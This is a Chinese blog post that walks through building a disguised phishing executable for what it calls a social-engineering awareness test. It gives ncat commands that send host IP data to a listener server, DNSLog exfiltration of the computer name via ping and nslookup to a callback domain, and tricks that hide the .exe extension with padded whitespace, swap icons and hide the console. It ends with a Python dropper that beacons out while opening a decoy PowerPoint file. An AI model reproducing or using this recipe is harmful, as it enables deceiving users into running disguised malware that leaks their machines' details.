社工钓鱼——软件伪造

wuchangjian2021-11-16 23:14:36编程学习

目的:通过简单的软件伪造,验证是否有防范社工钓鱼的警惕性,确认是否有被钓鱼成功的用户。

首先考虑如何确认是否存在被钓鱼成功的用户,初步想法是将主机部分信息写入到文件,再使用ncat传输文件到服务器上。做法如下:

# 在服务器上启动 持续接收文件的监听,将接收到的数据写到test.txt
ncat -lk 666 >test.txt
# 钓鱼软件中,写入文件,并将文件传输到服务器上
ipconfig | find /i "ipv4"> d:\Readme.txt
ncat x.x.x.x 666 <d:\Readme.txt # x.x.x.x为服务器ip

后续考虑到,由于ncat并不是系统自带命令,没法保证文件传输成功,另外可能路径没有权限写入文件等等问题,就放弃了。

于是考虑使用DNSLog平台外带数据,用于确认是否有钓鱼成功的用户。DNSLog平台可以监控DNS解析记录和HTTP访问记录,简单来说DNSLog平台提供了一个abcd.ceye.io的域名,那么可以把信息写在高级域名,本地ping  %computername%.abcd.ceye.io,在DnsLog平台上即可看到该条域名解析记录。HTTP访问记录即访问平台提供的http页面时,访问记录也可以查看到。

做法如下:

1.使用在线的DNSLog(如:CEYE) 或 搭建DNSLog平台(在github上查找开源项目自行搭建)
假定此时获得域名为 abcd.ceye.io,DNS服务器为 1.1.1.1。
公网环境下:钓鱼软件中ping %computername%.abcd.ceye.io 即可
内网环境,且无法访问外网:只能自行搭建DNSLog平台,但由于无法指定被钓鱼主机的DNS服务器,
所以直接ping abcd.ceye.io是无法解析成功的。可以通过nslookup命令指定DNS服务器做域名解析
nslookup %computername%.abcd.ceye.io 1.1.1.1

解决了“确认是否有被钓鱼成功的用户”的问题后,接下来开始考虑如何进行软件伪造。

1.伪造文件拓展名

使用超长文件名,隐藏实际的文件拓展名。
如需要伪造为test.pptx,文件名则为test.pptx                                          .exe

2.伪造文件图标

使用 Resource Hacker 软件替换原钓鱼软件的图标,或在脚本打包为exe文件时,选择类似的图标。
图标可以通过ps、图标库、网上图片查找。

 3.运行效果伪造

钓鱼软件如果运行后,如果没有打开被伪造的文件(运行test.pptx    .exe后,没有打开test.pptx),
或弹出控制台,则会引起用户的注意。
从两个方面解决,
一:将钓鱼软件和被伪造的文件添加到压缩包里,钓鱼软件中打开被伪造软件,伪造文件设置隐藏,解压
后则只会显示钓鱼软件。同时压缩包也能避免文件传输过程中暴露文件后缀。
二:打包时关闭控制台(不能使用os.system,否则即使关闭控制台,运行时也会闪过控制台)

 钓鱼脚本:

# -*- coding: utf-8 -*-
import subprocess
import os
from win32com.client import Dispatch

# 钓鱼软件实际希望执行的内容
# xxxx

subprocess.Popen("nslookup %computername%.abcd.ceye.io", shell=True)
try:
    r_file_path = os.getcwd() + "\\test.pptx"			
    ppt = Dispatch('PowerPoint.Application')
    ppt.Presentations.Open(r_file_path)
except:
    pass

# 打包时,选择图标,取消控制台
pyinstaller -F test.py -i pptx.ico -w

如果未勾选 显示隐藏的项目,解压后则只显示钓鱼文件,且执行后打开test.pptx文件。

相关文章

latex-空心字母

需要的宏包:\usepackage{amsfonts,amssymb}...

React开发(230):ant design table固定表头

固定表头 方便一页内展示大量数据。 需要指定 column 的 width 属性&#x...

Java中的this关键字:this.成员变量、运算符、常见修饰符、移位运算符、eclipse中常用快捷键

Java中的this关键字:this.成员变量、运算符、常见修饰符、移位运算符、eclipse中常用快捷键

0、Java中的this关键字 0.0、在初始面向对象思想之后,我们接触...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。